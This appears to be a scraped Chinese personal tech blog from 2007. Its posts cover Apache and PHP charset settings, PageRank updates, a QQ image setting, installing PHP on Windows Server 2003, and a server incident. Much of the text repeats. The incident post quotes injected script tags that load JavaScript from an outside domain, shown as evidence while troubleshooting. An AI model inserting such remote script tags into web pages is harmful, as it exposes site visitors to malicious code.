2007/04/30 21:08
服务器上上了一个GBK的discuz，但是发现出来是乱码。查看一下编码，始终默认为UTF-8，手功选择为GB2312后，刷新一下或者点到其它页面，又变成UTF8了:(
检查页面代码，<meta http-equiv="Content-Type" content="text/html;charset=gbk">这句话已经放在最上面了，在所有中文字符之前，没有问题！开始怀疑是服务器配置问题。
检查apache2/conf/httpd.conf，没有发现强制UTF8的设置，也没有发现默认字符的设置。于是从其它机子的httpd.conf中Copy来了AddDefaultCharset GB2312，加了，还是不行。。。，快19点了，先回家再说。
回到家里发现，服务器上一个UTF-8的站首页乱码了。。。，赶紧在全局设置中把AddDefaultCharset GB2312去掉，想想把这句就加在那个GBK的站点配置里吧。
现在，那个GBK的站点访问还是乱码，建了一个test.htm，头部gbk，可以正常显示中文，但改为test.php后，就不正常了，看来php的配置有问题。
开始检查php.ini，在公司是搜索过的，没有发现有utf，现在再检查下，发现了default_charset="UTF-8"，原来vi状态的搜索是区分大小写的。问题应该就在这里，把它改为空，重启Apache。GBK的站点访问正常了。
以为就这样解决了，又发现UTF8站点的htm页不正常了，默认为GB2312了，.php页正常。
想想我这个Blog空间是买的，编码是UTF-8的，访问正常，肯定有其它用户(应该是大部分用户)用的是GB2312的编码，也能正常，所以这个问题肯定是能够解决的。
再去httpd.conf上把AddDefaultCharset GB2312删除。
让朋友访问了下两个站点，终于两边都正常了:)
总结一下，apache的httpd.conf中的AddDefaultCharset可以设置为空，没有必要指定值，除非那台服务器上只有某编码的网站。php的php.ini中的default_charset也可以设置为空，只要程序在头部申明了编码，也就能正常的显示。
检查页面代码，<meta http-equiv="Content-Type" content="text/html;charset=gbk">这句话已经放在最上面了，在所有中文字符之前，没有问题！开始怀疑是服务器配置问题。
检查apache2/conf/httpd.conf，没有发现强制UTF8的设置，也没有发现默认字符的设置。于是从其它机子的httpd.conf中Copy来了AddDefaultCharset GB2312，加了，还是不行。。。，快19点了，先回家再说。
回到家里发现，服务器上一个UTF-8的站首页乱码了。。。，赶紧在全局设置中把AddDefaultCharset GB2312去掉，想想把这句就加在那个GBK的站点配置里吧。
现在，那个GBK的站点访问还是乱码，建了一个test.htm，头部gbk，可以正常显示中文，但改为test.php后，就不正常了，看来php的配置有问题。
开始检查php.ini，在公司是搜索过的，没有发现有utf，现在再检查下，发现了default_charset="UTF-8"，原来vi状态的搜索是区分大小写的。问题应该就在这里，把它改为空，重启Apache。GBK的站点访问正常了。
以为就这样解决了，又发现UTF8站点的htm页不正常了，默认为GB2312了，.php页正常。
想想我这个Blog空间是买的，编码是UTF-8的，访问正常，肯定有其它用户(应该是大部分用户)用的是GB2312的编码，也能正常，所以这个问题肯定是能够解决的。
再去httpd.conf上把AddDefaultCharset GB2312删除。
让朋友访问了下两个站点，终于两边都正常了:)
总结一下，apache的httpd.conf中的AddDefaultCharset可以设置为空，没有必要指定值，除非那台服务器上只有某编码的网站。php的php.ini中的default_charset也可以设置为空，只要程序在头部申明了编码，也就能正常的显示。
2007/04/28 13:24
嘿嘿，昨天就发现开始了。
公司新上的几个站都有PR了：）
自己的新站：
学着用动易建站的站：http://www.wuxi-tour.com/ PR4
其它老站没啥变化：
本Blog http://www.9enjoy.com/ PR3
免费统计 http://www.hxstat.com/ PR4
最老的站 http://www.itlearner.com/ PR5
据朋友说，26日就开始更新的，那么今天应该已经稳定了。
检查itlearner上，最后一篇有PR的文章是：http://www.itlearner.com/article/2007/3657.shtml PR是3。
公司新上的几个站都有PR了：）
自己的新站：
学着用动易建站的站：http://www.wuxi-tour.com/ PR4
其它老站没啥变化：
本Blog http://www.9enjoy.com/ PR3
免费统计 http://www.hxstat.com/ PR4
最老的站 http://www.itlearner.com/ PR5
据朋友说，26日就开始更新的，那么今天应该已经稳定了。
检查itlearner上，最后一篇有PR的文章是：http://www.itlearner.com/article/2007/3657.shtml PR是3。
2007/04/28 10:54
不知从什么时候开始，就发现在QQ群里看不到他人的贴图了。有些能看到，估计是以前能显示的时候保存在自己机子上的。以为是QQ什么问题，上次重装了QQ还是不行：（
这次系统全新安装，装了最新版QQ，发现问题依然存在。
在搜索引擎中搜索一下，发现几乎没人碰到过这个问题。
昨天偶然的机会，发现在QQ群的群聊对话框的最后一个按钮是“屏蔽功能”，旁边有个小三角，下拉显示第一个就是“屏蔽群内图片”，而且是打上勾的。。。
取消打勾，终于可以看到群里用户的贴图了：）
这次系统全新安装，装了最新版QQ，发现问题依然存在。
在搜索引擎中搜索一下，发现几乎没人碰到过这个问题。
昨天偶然的机会，发现在QQ群的群聊对话框的最后一个按钮是“屏蔽功能”，旁边有个小三角，下拉显示第一个就是“屏蔽群内图片”，而且是打上勾的。。。
取消打勾，终于可以看到群里用户的贴图了：）
2007/04/27 19:45
前几天换了台机子，打算告别使用了N年的2000，所以就重装了Win2003的系统。
装PHP，确碰到了问题，一切装好，却发现解析不了php。尝试了多种方法都无效：（
最后让同事装了一次，成功，这才发现问题所在。原来我用了php.ini-recommended（不知是什么时候看到哪篇文章上写的），换成php.ini-dist就正常了。哎，浪费了许多时间：（
下面是一些简单的步骤记录：
IIS
1.将官方下载的包解压到c:\php5。也可以在这里下载：http://down.itlearner.com/soft/2301.shtml
1.将php.ini-dist改名为php.ini，copy到c:\windows目录。新手不要用php.ini-recommended，需要改一些参数才能正常使用。
打开php.ini，将extension_dir = "./"更改为extension_dir = "c:\php5\ext\"
2.开始 -> 管理工具 -> IIS管理器，在Web服务扩展处，添加一个新的Web服务扩展，扩展名随意，添加C:\php5\php5isapi.dll，然后下面“设置扩展状态为允许”选上。
3.网站属性 -> 主目录 -> 配置，添加一个应用程序扩展，可执行文件：C:\php5\php5isapi.dll，扩展名：.php。
4.重启IIS，就OK了。
Apache
我装的是Apache2.0.55，装完。
开始 -> 程序 -> Apache HTTP Server 2.0.55 -> Configure Apache Server -> Apache，Edit the Apache httpd.conf Configuration File
或者直接打开c:\apache\apache2\conf\httpd.conf
最后加：
LoadModule php5_module "c:/php5/php5apache2.dll"
AddType application/x-httpd-php .php
重启apache，就OK了。
搜索mysql,将
;extension=php_mysql.dll前面的;去掉
装PHP，确碰到了问题，一切装好，却发现解析不了php。尝试了多种方法都无效：（
最后让同事装了一次，成功，这才发现问题所在。原来我用了php.ini-recommended（不知是什么时候看到哪篇文章上写的），换成php.ini-dist就正常了。哎，浪费了许多时间：（
下面是一些简单的步骤记录：
IIS
1.将官方下载的包解压到c:\php5。也可以在这里下载：http://down.itlearner.com/soft/2301.shtml
1.将php.ini-dist改名为php.ini，copy到c:\windows目录。新手不要用php.ini-recommended，需要改一些参数才能正常使用。
打开php.ini，将extension_dir = "./"更改为extension_dir = "c:\php5\ext\"
2.开始 -> 管理工具 -> IIS管理器，在Web服务扩展处，添加一个新的Web服务扩展，扩展名随意，添加C:\php5\php5isapi.dll，然后下面“设置扩展状态为允许”选上。
3.网站属性 -> 主目录 -> 配置，添加一个应用程序扩展，可执行文件：C:\php5\php5isapi.dll，扩展名：.php。
4.重启IIS，就OK了。
Apache
我装的是Apache2.0.55，装完。
开始 -> 程序 -> Apache HTTP Server 2.0.55 -> Configure Apache Server -> Apache，Edit the Apache httpd.conf Configuration File
或者直接打开c:\apache\apache2\conf\httpd.conf
最后加：
LoadModule php5_module "c:/php5/php5apache2.dll"
AddType application/x-httpd-php .php
重启apache，就OK了。
搜索mysql,将
;extension=php_mysql.dll前面的;去掉
2007/04/23 22:02
下班回家，打开自己的统计，发现页面上头多了点东西。查看一下源代码，头部多了一句：
document.write('<script src=http://7y7.us/1.js></script>');
上服务器，查看一下，并无此内容的文件。。。
再看一下服务器上的其它站点，几乎是所有的页面全部被加上了：（包括htm和asp页面，但.shtm和.txt没有。
在搜索引擎中搜索一下，以为是这个问题。
所有网站页面头部出现 <script src=http://7y7.us/2.js></script> 代码，但是实际网页源代码里是没有的
该问题为电信机房网络中的一台服务器中了ARP病毒导致整个网络出现这种状况，电信机房已经予以封锁改服务器。今天终于恢复正常了！
但是咨询了服务提供商，并为发现同网段其它服务器有此问题，得先从自身机子找原因。
再搜索，发现前段时间cnzz和ITSUN也中过此类的毒。
看来是IIS内核程序被改？
先查看应用程序映射，正常。asp的映射程序asp.dll也正常，最后修改日期：2006-4-11 13:34，与我本机的一模一样，排除更改程序映射的怀疑。
卸载IIS，再重装，由于服务器上没有I386目录的文件，碰到一个本机上传一个。。。搞了很久恢复后，发现还是有代码：（
再检查，还是没发现。
0：30，不玩了，睡觉。
8：40，访问网站，恶意代码自己没了。。。再次怀疑真的是机房问题了！
document.write('<script src=http://7y7.us/1.js></script>');
上服务器，查看一下，并无此内容的文件。。。
再看一下服务器上的其它站点，几乎是所有的页面全部被加上了：（包括htm和asp页面，但.shtm和.txt没有。
在搜索引擎中搜索一下，以为是这个问题。
引用
所有网站页面头部出现 <script src=http://7y7.us/2.js></script> 代码，但是实际网页源代码里是没有的
该问题为电信机房网络中的一台服务器中了ARP病毒导致整个网络出现这种状况，电信机房已经予以封锁改服务器。今天终于恢复正常了！
但是咨询了服务提供商，并为发现同网段其它服务器有此问题，得先从自身机子找原因。
再搜索，发现前段时间cnzz和ITSUN也中过此类的毒。
看来是IIS内核程序被改？
先查看应用程序映射，正常。asp的映射程序asp.dll也正常，最后修改日期：2006-4-11 13:34，与我本机的一模一样，排除更改程序映射的怀疑。
卸载IIS，再重装，由于服务器上没有I386目录的文件，碰到一个本机上传一个。。。搞了很久恢复后，发现还是有代码：（
再检查，还是没发现。
0：30，不玩了，睡觉。
8：40，访问网站，恶意代码自己没了。。。再次怀疑真的是机房问题了！
